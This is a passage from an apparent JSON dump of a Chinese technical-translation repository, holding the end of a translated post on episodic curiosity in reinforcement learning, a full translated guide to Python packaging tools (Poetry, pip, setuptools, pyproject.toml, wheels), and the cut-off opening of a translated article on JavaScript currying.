这些区域通常在超市中是相邻的”**）。如果你的预测是错误的，你会感到惊讶（**“不，它实际上是蔬菜区域。我没料到！”**）因而得到相应的回报。这使你更加有动力接下来去看看这个角落周围的环境，探索新的位置来看看你对它们的期望是否是符合实际的（并且，希望能偶然间发现奶酪）。\n  \n类似地，ICM 方法建立了对整个世界环境的动态预测模型，并在模型未能做出良好预测时给予代理一定的奖励 —— 这是惊讶或新奇的标志。请注意，探索未访问的位置并不直接是 ICM 好奇心公式的一部分。对于 ICM 方法来说，访问它们只是用于获得更多“惊讶”的方式，从而最大化整体奖励。事实证明，在某些环境中可能存在其它方式会造成自我惊讶，从而导致无法预料的结果。\n\n[![](https://4.bp.blogspot.com/-1-g1VrGbUpY/W8-MI2HcI1I/AAAAAAAADbg/O65BaNTc6fEcJjSouw-QG1g7JkeIXpGLACLcBGAs/s1600/image5.gif)](https://4.bp.blogspot.com/-1-g1VrGbUpY/W8-MI2HcI1I/AAAAAAAADbg/O65BaNTc6fEcJjSouw-QG1g7JkeIXpGLACLcBGAs/s1600/image5.gif)\n\n基于惊讶的好奇心的代理在遇到电视画面时会被卡住。GIF 采用了来自 © [Deepak Pathak](https://youtu.be/C3yKgCzvE_E) 的视频，在 [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/) 许可下使用。\n\n**“拖延症”的威胁**  \n在论文“[大规模好奇心驱动学习研究](https://pathak22.github.io/large-scale-curiosity/resources/largeScaleCuriosity2018.pdf)”中，ICM 方法作者以及 [OpenAI](https://openai.com/) 研究人员揭示了最大化惊讶的潜在危险：代理可能会放纵这种拖延行为，而不是为当前的任务做一些有用的事情。为了找出原因，让我们考虑一个常见思维实验，该实验被作者称为“嘈杂电视问题”，在这个实验中，一个代理被置于迷宫中，它的任务是找到一个高回报的物体（这类似于我们之前提到的超市例子中的“奶酪”）。该环境中还包含了一个电视装置，代理可以远程操控。电视装置的频道数量有限（每个频道都有不同的节目），并且每次按遥控器都会切换到一个随机频道。那么该代理会如何在这样的环境中执行呢？\n  \n对于基于惊讶的好奇心公式来说，改变电视频道会产生很大的回报，因为每次改变都是不可预测和令人惊讶的。至关重要的是，即使所有可用频道都循环播放之后，随机地频道选择也会确保每一个新的变化仍然是令人惊讶的 —— 因为代理正在预测频道改变后电视上会出现什么，而且这种预测很可能是错误的，从而导致惊讶出现。重要的是，即使代理已经看过每个频道的每个节目，变化仍然是不可预测的。因此，这种基于惊讶的好奇心会使得代理最终永远停留在电视机前，而不是去寻找那个非常有价值的物体了 —— 这类似于拖延症。那么，怎样定义好奇心才不会导致这种行为呢？\n  \n**情景式好奇心**  \n在论文“[基于可及性实现情景式的好奇心](https://arxiv.org/abs/1810.02274)”中，我们探索了一种基于情景记忆的好奇心模型，这种模型不太容易产生“自我放纵”的即时满足感。为什么会这样呢？使用我们上面的例子，在更改了一段时间的频道之后，所有的节目都在内存中了。因此，电视节目将不再具有吸引力：即使屏幕上出现的节目顺序是随机且不可预测的，所有的这些节目已经在内存中了！这是与基于惊讶的方法的主要区别：我们的方法甚至不去尝试对可能很难（甚至不可能）预测的未来下注。相反地，代理会检查过去，以了解它是否看到过与当前**类似**的观察结果。这样我们的代理就不会被嘈杂的电视带来的即时满足所吸引。它将不得不去探索电视之外的世界来获得更多的奖励。\n  \n但是，我们如何判断代理是否看到了与现有内存中相同的内容内容？检查精确匹配可能是毫无意义的：因为在现实环境中，代理很少能看到两次完全相同的事情。例如，即使代理返回到同一个房间，它仍然会从一个与记忆中不同的角度来看这个房间。\n  \n我们训练一个[深度神经网络](https://en.wikipedia.org/wiki/Deep_learning)来测量两种体验的相似程度，而不是去寻求一个与内存中内容的精确匹配。为了训练这个网络，我们让它来猜测这两个观察内容是在时间上紧密相连，还是在时间上相距很远。我们使用时间接近程度（Temporal proximity）作为一个较好的指标，判断两个经历是否属于同一体验的一部分。该训练可以通过可达性来获取通用概念上的新颖性，如下所示。\n\n[![](https://3.bp.blogspot.com/-7X2mG9KkAwA/W8-AwA02tDI/AAAAAAAADa8/ENoWNgeYDwwGDbbZV-cPGgJtwsTMeQc0wCLcBGAs/s640/image6.png)](https://3.bp.blogspot.com/-7X2mG9KkAwA/W8-AwA02tDI/AAAAAAAADa8/ENoWNgeYDwwGDbbZV-cPGgJtwsTMeQc0wCLcBGAs/s1600/image6.png)\n\n可达性图会决定新颖性。而在实践中，该图是不可用的 —— 因此我们需要训练一个神经网络近似器来估计多步观察内容之间的关系。\n\n**实现结果**  \n为了比较不同的好奇心方法的性能表现，我们在两个具有丰富视觉效果三维环境中测试它们：即 [ViZDoom](https://arxiv.org/abs/1605.02097) 和 [DMLab](https://arxiv.org/abs/1612.03801)。在这些环境中，代理的任务是处理各种问题，比如在迷宫中搜索目标，或者收集好的以及避免坏的物体。DMLab 环境恰好可以为代理提供类似激光的科幻工具。在之前工作中的标准设置是为代理在所有任务中都设置 DMLab 的小工具，如果代理在特定任务中不需要此工具，则可以不用它。有趣的是，类似于上面描述的嘈杂电视实验，基于惊讶的 ICM 方法实际上是使用了这个工具的，即使它对于当前任务是无用的！当在迷宫中搜索高回报的物体时，它更喜欢花时间来标记墙壁，因为这会产生很多的“惊讶”奖励。从理论上来讲，应该是可以预测到标记结果的，但这在实践中是很难的，因为这很显然需要标准代理了解更深入的物理学知识才行。\n\n[![](https://1.bp.blogspot.com/-pn6yWeacipw/W9ChvSGMPtI/AAAAAAAADcA/1yJQHc7dz1AOiXTm8OyBW1JDI3_r40vbgCLcBGAs/s1600/image7.gif)](https://1.bp.blogspot.com/-pn6yWeacipw/W9ChvSGMPtI/AAAAAAAADcA/1yJQHc7dz1AOiXTm8OyBW1JDI3_r40vbgCLcBGAs/s1600/image7.gif)\n\n基于惊讶的 ICM 方法是在持续标记墙壁，而不是探索迷宫。\n\n相反，我们的方法在相同的条件下学习合理的探索行为。这是因为它没有试图预测自身行为的结果，而是寻求从情景记忆中“更难”获得的观察结果。换句话说，代理隐式地追求一些目标，这些目标需要更多的努力才能获取到内存中，而不仅仅是单一的标记操作。\n\n[![](https://3.bp.blogspot.com/-gqgK7Dd2jUw/W9CiFgzQmxI/AAAAAAAADcI/EcUCBL9w2Cc57jPFzHcOd70OX8yUzAuEQCLcBGAs/s1600/image6.gif)](https://3.bp.blogspot.com/-gqgK7Dd2jUw/W9CiFgzQmxI/AAAAAAAADcI/EcUCBL9w2Cc57jPFzHcOd70OX8yUzAuEQCLcBGAs/s1600/image6.gif)\n\n我们的方法展示出的合理的探索行为。\n\n有趣的是，我们给予奖励的方法会惩罚在圈子中循环的代理。这是因为在完成第一次循环后，代理不会遇到除记忆中的观察之外的新的观察结果，因此不会得到任何的奖励：\n\n[![](https://3.bp.blogspot.com/-s_QMz-9Hwfc/W89-GjKp7xI/AAAAAAAADaU/HRe_JVE2tyIOyJhFp8UjbtvTbtLxK6KqQCLcBGAs/s640/image8.gif)](https://3.bp.blogspot.com/-s_QMz-9Hwfc/W89-GjKp7xI/AAAAAAAADaU/HRe_JVE2tyIOyJhFp8UjbtvTbtLxK6KqQCLcBGAs/s1600/image8.gif)\n\n方法中奖励的可视化：红色表示负面的奖励，绿色表示积极的奖励。从左到右：带有奖励的地图，内存中带有当前位置的地图，第一人称视角图。\n\n同时，我们的方法有利于良好的探索行为：\n\n[![](https://2.bp.blogspot.com/-vYTrGZe07E8/W9CinK0dkyI/AAAAAAAADcU/rRYZw30k_0IQ5SrOzamcaKdsXk4JDhutwCLcBGAs/s640/image2.gif)](https://2.bp.blogspot.com/-vYTrGZe07E8/W9CinK0dkyI/AAAAAAAADcU/rRYZw30k_0IQ5SrOzamcaKdsXk4JDhutwCLcBGAs/s1600/image2.gif)\n\n方法中奖励的可视化：红色表示负面的奖励，绿色表示积极的奖励。从左到右：带有奖励的地图，内存中带有当前位置的地图，第一人称视角图。\n\n希望我们的工作有助于引领新的探索方法浪潮，能够超越惊讶机制并学习到更加智能的探索行为。具体方法的深入分析，请查看我们的[研究论文](https://arxiv.org/abs/1810.02274)预印本。 \n  \n**致谢：**  \n**该项目是 Google Brain 团队、DeepMind 和 ETH Zürich 之间合作的成果。核心团队包括 Nikolay Savinov、Anton Raichuk、Raphaël Marinier、Damien Vincent、Marc Pollefeys、Timothy Lillicrap 和 Sylvain Gelly。感谢 Olivier Pietquin、Carlos Riquelme、Charles Blundell 和 Sergey Levine 关于该论文的讨论。感谢 Indira Pasko 对插图的帮助。**\n  \n**参考文献：**  \n[1] \"[Count-Based Exploration with Neural Density Models](https://arxiv.org/abs/1703.01310)\", _Georg Ostrovski, Marc G. Bellemare, Aaron van den Oord, Remi Munos_  \n[2] \"[#Exploration: A Study of Count-Based Exploration for Deep Reinforcement Learning](https://arxiv.org/abs/1611.04717)\", _Haoran Tang, Rein Houthooft, Davis Foote, Adam Stooke, Xi Chen, Yan Duan, John Schulman, Filip De Turck, Pieter Abbeel_  \n[3] \"[Unsupervised Learning of Goal Spaces for Intrinsically Motivated Goal Exploration](https://arxiv.org/abs/1803.00781)\", _Alexandre Péré, Sébastien Forestier, Olivier Sigaud, Pierre-Yves Oudeyer_  \n[4] \"[VIME: Variational Information Maximizing Exploration](https://arxiv.org/abs/1605.09674)\", _Rein Houthooft, Xi Chen, Yan Duan, John Schulman, Filip De Turck, Pieter Abbeel_\n"
  },
  {
    "path": "TODO1/current-status-of-python-packaging.md",
    "content": "> * 原文地址：[Current State of Python Packaging - 2019](https://stefanoborini.com/current-status-of-python-packaging/)\n> * 原文作者：[Stefano Borini](https://stefanoborini.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/current-status-of-python-packaging.md](https://github.com/xitu/gold-miner/blob/master/TODO1/current-status-of-python-packaging.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[TokenJan](https://github.com/TokenJan)，[IT-rosalyn](https://github.com/IT-rosalyn)\n\n# Python 的打包现状（写于 2019 年）\n\n在这篇文章中，我将会试着给你讲清楚 python 打包那些错综复杂的细节。我在过去的两个月中，使用每天晚上精力最好的黄金时段尽可能多的收集相关信息、如今的解决方案，并搞清楚哪些是遗留的问题。\n\n含糊不清的 python 术语是导致混乱的第一个来源。在编程相关的语境中，“包”（package）这个词意味着一个可以安装的组件（比如可以是一个库）。但是在 python 中却不是这样，在这里，可安装组件的术语是“发行版”（distribution）。但是，除非必要（特别是在官方文档和 Python 增强提案中），否则根本没人真的去用“发行版”这个术语。顺便说一下，使用这个术语其实是个非常糟糕的选择，因为“distribution”一词一般用来描述 Linux 的一个 brand。\n\n这是一个你应该牢记于心的警告，因为 python 打包其实并不真的是关于 python 的**包**，而是关于它的**发行版**。但是我还是称之为打包。\n\n**我不想花那么多时间去阅读。能不能给我个简短的版本？在 2019 年，我应该如何管理 python 包呢？**\n\n我假设你是一名想要开始研发一个 python 包程序员，步骤如下：\n\n* 首先使用 [Poetry](https://poetry.eustace.io/) 创建开发环境，并使用严格模式指定项目的直接依赖。这样就可以保证你的研发和测试环境总是可以被重复创建的。\n* 创建一个 pyproject.toml 文件，然后使用 poetry 作为后端创建源代码版和二进制发行版。\n* 下一步要指定抽象包依赖。注意应指定你能确定的该包可运行的最低版本。这样就可以保证不会创建出无用的、会和其他包冲突的版本。\n\n如果你真的想使用需要 setuptools 的老方法：\n\n* 创建 setup.py 文件，在文件中指定所有的抽象依赖，并在 install_requires 中指定这些依赖使用可工作的最低版本。\n* 创建 `requirements.txt` 文件，在其中指定严格、具体（即指定某个版本）、直接的依赖。接下来你将会需要使用这个文件生成实际的工作环境。\n* 使用命令 `python -m venv` 创建一个虚拟环境，激活该环境然后在该环境下使用 `pip install -rrequirements.txt` 命令安装依赖。用这个环境来开发。\n* 如果你需要用于测试的依赖（当然这也是非常有可能的事情），那么你需要创建一个 `dev-requirements.txt` 文件，并同样为其安装依赖。\n* 如果你需要将所有环境配置冻结（这是推荐的做法），执行 `pip freeze >requirements-freeze.txt` 并且以后也要用这个命令创建环境。\n\n**我的时间很充裕。请帮我解释清楚吧。**\n\n首先我将阐述目前存在的问题，真的有很多问题。\n\n假设我想要用 python 创建某“项目”：它也许是一个独立程序，也许是一个库。这个项目的开发和使用需要包含以下“角色”：\n\n* **开发者**：负责写代码的人或者团队。\n* **CI**：测试这个项目的自动化过程。\n* **构建**：从我们的 git 仓库到其他人可以安装使用这个项目的自动或半自动过程。\n* **最终用户**：最终使用这个项目的人或者团队。如果这个项目是一个库，那么最终用户也许是其他开发者；或者如果是一个应用，最终用户可能就是普通民众。又或者这个项目是某一种网络服务，那么最终用户就是云计算微服务。当然还有很多可能，你明白我的意思，不一一列举了。\n\n我们的目标就是让所有的用户或者设备对该项目满意，但是他们都有不同的工作流和需求，并且有时候这些需求会有重叠的部分。另外，当项目发生更改、发布新版本、废除旧版本，或者几乎所有代码都要依赖其他代码来完成其任务的时候会产生问题。项目中必定存在依赖，而随着时间推移，这些依赖会发生变化，它们也许是必要的也许也不是，它们可能在很底层运行，所以我们必须考虑在不同操作系统甚至在同样的操作系统中它们都可能是不可移植的。这已经非常复杂了。\n\n更糟糕的是，你的直接依赖也有各自的依赖集合。如果你的包直接依赖于 A 和 B，而它们两个都依赖于 C 又会怎样呢？你应该安装哪个版本的 C？如果 A 希望安装 C 的严格版本 2 而 B 则希望安装 C 的严格版本 1，是否可能做到呢？\n\n为了一定程度上整治这种混乱，人们设计出代码打包的方法，这样代码包就可以被复用、安装、版本化并给出一些描述性的元信息，例如：“已在 windows 64 位系统上打包”，或者“仅适用于 macos 系统”，或者“需要该版本或以上才可运行”。\n\n**好吧，现在我知道问题所在了。那么解决方案是什么呢？**\n\n第一步是定义一个集合了指定软件指定发布版本的可交付实体。这个可交付实体就是我们所谓的**包**（或者专业的 python 说法是发行版）。你可以用两种方式交付：\n\n* **源代码**：将源代码打包为 zip 或者 tar.gz 格式的文件，然后由用户自己编译。\n* **二进制文件**：由你编译代码，然后发布编译好的内容，用户可以直接使用，无需附加步骤。\n\n两种方式都可能有用，通常情况下，两种都提供是不错的选择。当然，我们需要能够正确完成打包的工具，尤其是为了完成如下的任务：\n\n* 创建可交付的包（也就是前文提到的**构建**）\n* 将包发布在某处，这样其他人就可以获取到\n* 下载并安装包\n* 处理依赖。如果包 A 需要包 B 才能运行怎么办？如果包 A 需不需要包 B 取决于你如何使用 A？如果包 A 只在 windows 上被安装时才需要包 B？\n* 定义运行时间。如前文所述，通常情况下一个小小的软件也需要很多依赖才能运行，并且这些依赖最好和其他软件的依赖需求隔离开。不管是当你进行开发的时候还是运行的时候，都应该这样。\n\n**可以说得更详细一些吗？我写代码之前，必须要做什么呢？**\n\n当然。在你写代码之前，通常你要完成如下步骤：\n\n1. 创建一个独立于系统 python 的 python 环境。这样你可以同步研发多个项目。而且如果不这样操作，A 项目的内容和 B 项目的内容可能会混在一起。\n2. 如果你想要规定项目的依赖，那么请牢记有两种方式可以完成：**抽象方式**，此时你只需要笼统地指出需要那些依赖（例如 numpy），以及**具体方式**，这时候你必须要规定版本号（例如 numpy 1.1.0）。至于为什么会有这样的区分，后文会详细说明。如果你想要创建一个可运行的开发环境，需要具体地规定依赖。\n3. 现在你已经做完了需要做的，可以开始研发了。\n\n**我需要使用什么工具来完成这些吗？**\n\n这个不好说，因为工具非常多并且在不断变化。一个选择是你可以使用 python 内建的 **venv** 创建独立的 python “虚拟环境”。然后使用 **pip**（也是 python 内建工具）来安装依赖的包。逐个输入并安装太麻烦了，所以人们通常会将具体依赖（硬编码的版本号）写入一个文件内然后通知 pip：“读取这个文件并安装文件中写明的所有包”。pip 就会照做了。这个文件就是人尽皆知的 requirements.txt，你可能已经在其他项目里见过了。\n\n**好吧，可是 pip 到底是什么呢？**\n\npip 是一个用来下载和安装包的程序。如果这些包也有依赖，那么 pip 也会安装这些子依赖的。\n\n**pip 是怎么做到的？**\n\n它会在远程服务 pypi 上，通过名称和版本号找到对应的包并下载、安装。如果这个包已经是二进制文件，那么只需要安装它。如果是源代码，pip 就会进行编译然后再安装。但是 pip 做的还不止这些，因为这个包本身可能会有其他的依赖，所以它也会获取这些依赖，并且安装它们。\n\n**为什么你说使用 requirements.txt 的方法只是一个“选择”？**\n\n因为这种方式会随着项目扩展而变得冗长而且复杂。对于不同的平台，你需要手动管理直接依赖版本。例如，在 windows 系统你需要安装某个包，而在 linux 或其他系统你则需要另外的包，那结果是你就需要同时维护 win-requirements.txt、linux-requirements.txt 等等多个文件。\n\n你还必须考虑到，一些依赖是你的软件运行所必需的；而其他只是用来运行测试，这些依赖只是开发者或者 CI 设备必需的，但是对于其他使用你的软件的人，其实并不需要，所以它们此时就不能作为项目的依赖了。因此，你就需要一个新的文件 dev-requirements.txt。\n\n问题在于，requirements.txt 或许只会指定直接依赖，但是在实际应用的时候，你想要定制好创建环境所需要的**所有依赖**。为什么要这样？比方说，如果你安装了直接依赖 A，而 A 又依赖于版本 1.1 的 C。但是有一天 C 发布了新版本 1.2，那么从此之后，当你创建环境的时候，pip 就会下载可能带有漏洞的 1.2 版本的 C。也就是忽然间你的测试无法通过了，但你又不知道为什么。\n\n所以你就想在 requirements.txt 中同时指定依赖和这些依赖的子依赖。但是这样的话，你在文件中却无法区分出这两种依赖了，那么当某个依赖出现问题你想要调试它的时候，你就要找出文件中哪个才是它的子依赖，以及…\n\n现在你懂了。真的一团糟，你并不想去处理这样的乱局吧。\n\n接下来你会面临的一个问题就是，pip 可以决定使用更加原始的方式来安装哪个版本，这可能会让它自己运行到一个死胡同里，呈现给你的就是某个无法工作的环境或者是错误。记住这个例子：包 A 和 B 都依赖于 C。因此你需要一个更加复杂的过程，在这个过程里，基本上使用 pip 仅仅是为了下载已经定义好版本的包，而需要决定安装什么版本的权限则交给其他程序，这个程序要有全局的考量，并能作出更明智的版本判定。\n\n**比如说？请给我举个例子吧。**\n\npipenv 就是一个例子。它将 venv、pip 和其他一些黑科技集合在一起，你只需给出直接依赖列表，它则会尽最大努力为你解决上文提到的混乱并给你交付一个可运行的环境。Poetry 是另外一个例子。人们经常会讨论两者，并且由于人为和政策的原因还会引起一些争执。但是大多数人更偏向于 Poetry。\n\n一些公司如 Continuum 和 Enthought 都有他们自己的版本管理（即 conda 和 edm），它们通常都可以避免由于平台不同而附加的依赖版本的复杂性。在这里我们就不展开讲了。我只想说，如果你想要用那些很多已经被编译好的依赖关系或者（这些依赖关系）依赖于编译好的库，比如说在科学计算的场景下这种需求就很常见，那么你最好用它们的系统来管理你的环境，这会为你免去不少麻烦。因为这本来就是它们拿手的。\n\n**那么 pipenv 和 Poetry 究竟哪个更好用呢？**\n\n正如我刚才说的，人们更偏向于 Poetry。这两个我都尝试过，于我而言 Poetry 也要更好一些，它提供了更具兼容性、更优质的解决方案。\n\n**嗯好，所以至少我们要去用 Poetry，它可以为我们创建好环境，这样我就可以安装依赖并开始编程了。**\n\n没错。但我还没有谈论到构建。也就是，一旦你有了代码，你该如何创建发布版呢？\n\n**嗯是的，所以这就是 setup.py、setuptools 和 distutils 的用武之地了？**\n\n可以这么说，但也并不确切。最初情况下，当你想要创建一个源代码或者二进制发行版的时候，你需要使用一个名为 distutils 的标准库模块。方法是使用一个名为 setup.py 的 python 脚本，它可以魔法般的创建出你可以交付给他人的项目。这个脚本可以任意命名，但 setup.py 是标准的命名方式，其他的工具（比如广泛使用的 pip）就会只寻找以此命名的文件。而如果 pip 没有找到需要依赖的可构建版本，它将会下载源代码并构建它，简单来说，只需运行 setup.py，然后我们只能祈祷结果是好的了。\n\n但是，distutils 并不好用，所以有些人找到了替代的方案，它可以做比 distutils 多得多的事。尽管挑战很大，混乱很多，发展之路漫长，但是 setuptools 要更好，每个人都可以使用。如今 setuptools 还是使用 setup.py 文件，给人一种其实它们并没有变化、创建环境的过程也保持不变的假象。\n\n**为什么说我们只能祈祷结果是好的？**\n\n因为 pip 并不能保证它运行 setup.py 构建的包是真的可以运行的。它只是一个 python 脚本，也许会有自己的依赖，而你又无法在出现问题的时候修改它的依赖或者进行追踪。这是先有鸡还是先有蛋的问题了。\n\n**但是在 setuptools.setup() 中有 setup_requires 选项啊**\n\n这个方法就是个坑，你基本不能使用它解决什么问题。这还是个先有鸡还是先有蛋的问题。PEP 518 对此进行了详细的讨论，最后结论就是它就是渣渣。别用了。\n\n**所以 setuptools 和 setup.py 到底是不是构建发布的可选方法呢？？**\n\n过去是的。但现在不一定是了，只是或许有时候还可以用。这要看你要发布的内容是什么了。现在的情况是，没人希望 setuptools 是唯一一种能决定包如何发布的方法。问题的根源要更深入一些，会涉及到一些技术型问题，但是如果你好奇，可以看一看 PEP 518。最重要的部分我在上文已经提到了：如果 pip 想要构建它下载的依赖，它该怎么确定下载哪个版本同时用来执行 setup 脚本呢？没错，它可以假设需要依靠 setuptools，但也只是假设。而你的环境中可能并不需要 setuptools，那么 pip 又该怎么做决策？在更多情况下，为什么必须使用 setuptools 而不是其他的工具呢？\n\n很多时候这决定了，任何想要写自己的包管理工具的人应该都可以这么做，因此你只需要另一个配置工具来定义使用哪个包系统以及你需要哪些依赖来构建项目。\n\n**使用 pyproject.toml？**\n\n正确。更确切的来说，是一个可以在其中定义用来构建包的“后端”的子节。如果你想要使用一种不同的构建后端，pip 就可以完成。而如果你不想这样，那么 pip 会假设你在使用工具 distutils 或者 setuptools，因此它就会退而寻找 setup.py 文件并执行，我们祈祷它能构建成功吧。\n\nsetup.py 最终到底会不会消失？**setuptools**（在它之前是 distutils）用 setup.py 来描述如何生成构建。而其他工具或许会使用其他方法。或许，它们会依赖于为 pyproject.toml 添加一些内容而完成。\n\n同时，你终于可以在 pyproject.toml 中规定用来执行构建的依赖了，这就解除了前文说得那种先有鸡还是先有蛋的难题。\n\n**为什么选择 toml 格式的文件？我都还从来没有听说过它。为什么不用 JSON、INI 或者 YAML？**\n\n标准的 JSON 不允许写注释。但是人们真的很需要依赖注释传递关于项目的信息。你可以不按照规则来，但那也就不是 JSON 了。另外，JSON 其实有些反人类，写起来并让人觉得不赏心悦目。\n\nINI 则其实根本不是一种标准的写法，而且它在功能上有很多限制。\n\nYAML 则可能会成为你项目潜在的安全威胁，它简直就像是病毒。\n\n**这样的话选择 toml 就可以理解了。但是，他们不能将 setuptools 包含在标准库中吗？**\n\n或许可以，但问题是标准库的发布周期真的超级长。distutils 的更新非常缓慢，这正激发了 setuptools 的应用和崛起。但是 setuptools 也不能保证满足所有需求。一些包或许会有一些特殊的需求。\n\n**好吧，那么我这么理解是否正确：我需要使用 Poetry 创建工作环境。使用 setup.py 和 setuptools，或者 pyproject.toml 构建包。**\n\n如果你想要使用 setuptools，你就需要 setup.py，但是你可能会遇到的问题是，其他用户也需要安装 setuptools 来构建你的包。\n\n**那么除了 setuptools 我还能使用什么其他的工具呢？**\n\n可以用 flit，或者 Poetry。\n\n**Poetry 不需要安装依赖吗？**\n\n需要，但它也可以用来构建。pipenv 就不行。\n\n**顺便说一下，如果我使用 setup.py 的话，为什么我就必须写明依赖呢？我下载的 setup.py 与 pipenv、Poetry 和 requirements.txt 有什么关系呢？**\n\n这些都是运行包需要的抽象依赖，也是 pip 在决定下载和安装哪些版本的时候需要的依赖。这里你应当放宽对依赖版本的限制，因为如果你不这样…还记得我之前说过的 A 和 B 都依赖于 C 的例子吗？如果 A 要求：“我要 1.2.1 版本的 C”，但是 B 要求：“我要 1.2.2 版本的 C”，那该怎么办呢？\n\n当要构建下载资源的源代码发行版的时候，pip 没有其他的选择。pip 并不能获取到你写在 requirements.txt 文件中的需求。它只会去运行 setup.py，而这会导致 pip 去使用 setuptools，然后再次调用 pip 来将抽象依赖解析为具体的可安装依赖。\n\n**那么 eggs、easy install、.egg-info directories、distribute、virtualenv（这个不等于 venv）、zc.buildout、bento 这些工具又怎么样呢？**\n\n忽略它们吧。它们要么是一些遗留工具或者其他工具的分支，要么是一些毫无结果的尝试。\n\n**那 Wheels 呢？**\n\n还记得我之前说的吗？pip 需要知道从 pypi 下载什么资源，从而才能下载正确的版本和操作系统。Wheel 就是一个包含了要下载资源的文件，并且有一些特殊的、规定好的字段，pip 安装依赖和子依赖的时候会使用它们来决策。\n\nWheels 的文件名包含了作为元数据的标签（例如 pep-0425），所以当某些资源（例如 CPython）被编译了，Wheels 能知道编译的版本、ABI 等等。文件名中的标签有一个标准层，元数据中特定的词都有特定的含义。\n\n记住，要为二进制发行版构建 wheels。\n\n**那么 .pyz 怎么样呢？**\n\n忽略它就好，严格来讲它和打包无关。但在其他某些方面它可能有用，如果你想知道更详细的信息，可以看 PEP-441。\n\n**那么 pyinstaller 怎么样呢？**\n\nPyinstaller 是关于完全不同的另一个话题了。你看，“打包”这个单词的问题是，它没有清楚的表述出它真正的含义。到目前位置，我们讨论了关于：\n\n1. 创建一个可以开发库的环境\n2. 把你创建的项目构建为其他人也可以使用的格式\n\n但是这些通常是应用于库的。而关于发行应用，情况就不同了。当你打包库的时候，你知道它将会是一个更大的项目体的一部分。而当你打包一个应用，那么这个应用就是那个**更大的项目体**。\n\n另外，如果你想为人们提供应用，那就应指定应用的平台。例如，你想要提供一个带图标的可执行文件，但是在 Windows、macOS 和 Linux 平台上，它们应当是有所不同的。\n\n当你想要创建一个独立可执行应用的时候，PyInstaller 是可以使用的工具。它能够为你在用户桌面上创建出最终完成的应用。打包是关于管理你需要用来创建应用的依赖、库和工具的网络，而创建这个应用你可能会、也可能不会使用 pyinstaller。\n\n注意不管怎样，使用这个方法的前提是，假设你的应用是比较简单并且是自包含的。如果应用在安装的时候需要做更复杂的事情，比如创建 Windows 登录密码，那你就需要一个更合适的、更成熟的安装器，比如 NSIS。我不知道在 Python 世界中是否有像 NSIS 这样的东西。但无论如何，NSIS 都不知道你部署了什么。你当然可以使用 pyinstaller 创建可执行应用，然后使用 NSIS 来部署它，并且还可以完成例如注册表修改或者文件系统修改这样的附加需求，让应用可以运作。\n\n**好的，但是我如何安装那些我已经有资源包的项目呢？使用 python setup.py？**\n\n不对。用 `pip install .`，因为这个命令能保证你之后还可以卸载应用，而且它总体上更好一些。pip 这时候会检查 pyproject.toml 并在后台运行构建。而如果 pip 没有找到 pyproject.toml 文件，它就只好退回到老方法，运行 setup.py 来尝试构建。\n\n**我很喜欢这篇文章，但是我还是有些问题没有搞清楚**\n\n你可以自己[开一个 issue](https://github.com/stefanoborini/stefanoborini.github.io/issues)。如果我知道答案，我将会马上为你解答。如果我不知道，我会做一下研究并尽快给你回复。我的目标是这篇文章能让人们最终**理解** python 打包。\n\n**有没有参考链接能让我更深入的学习呢？**\n\n当然，请见：\n\n* https://sedimental.org/the_packaging_gradient.html\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/curry-and-function-composition.md",
    "content": "> * 原文地址：[Curry and Function Composition](https://medium.com/javascript-scene/curry-and-function-composition-2c208d774983)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/curry-and-function-composition.md](https://github.com/xitu/gold-miner/blob/master/TODO1/curry-and-function-composition.md)\n> * 译者：[子非](https://www.github.com/CoolRice)\n> * 校对者：[wuzhengyan2015](https://github.com/wuzhengyan2015), [TTtuntuntutu](https://github.com/TTtuntuntutu)\n\n# 柯里化与函数组合（第十七部分）\n\n![](https://cdn-images-1.medium.com/max/2000/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n烟雾艺术从方块到烟雾 — MattysFlicks — (CC BY 2.0)\n\n> 注意：此篇文章是“组合软件”系列的一部分，这个系列的目的是从头在 JavaScript ES6+ 环境下学习函数式编程和组合软件技术。敬请关注。我们会讲述大量关于这方面的知识！\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO1/the-forgotten-history-of-oop.md) | [<< 第一篇](https://github.com/xitu/gold-miner/blob/a9a689ee3df732ea0c9e88207ad6cf0a10ad7d4b/TODO1/composing-software-an-introduction.md)\n\n随着在主流 JavaScript 中函数式编程戏剧般地兴起，在许多应用中柯里化函数变得普遍起来。理解它们是什么、如何运作和怎样有效地运用非常重要。\n\n### 什么是柯里化函数？\n\n柯里化函数是一种由需要接受多个参数的函数转化为**一次只接受一个**参数的函数。如果一个函数需要 3 个参数，那柯里化后的函数会接受一个参数并返回一个函数来接受下一个参数，这个函数返回的函数去传入第三个参数。最后一个函数会返回应用了所有参数的函数结果。\n\n你可以用更多或更少数量的参数来做同样的事。例如有两个数字，`a` 和 `b` 的柯里化形式会返回 `a` 与 `b` 之和。\n\n```\n// add = a => b => Number\nconst add = a => b => a + b;\n```\n\n为了使用它，我们必须使用函数应用语法应用到这两个函数上。在 JavaScript 中，函数后的括号 `()` 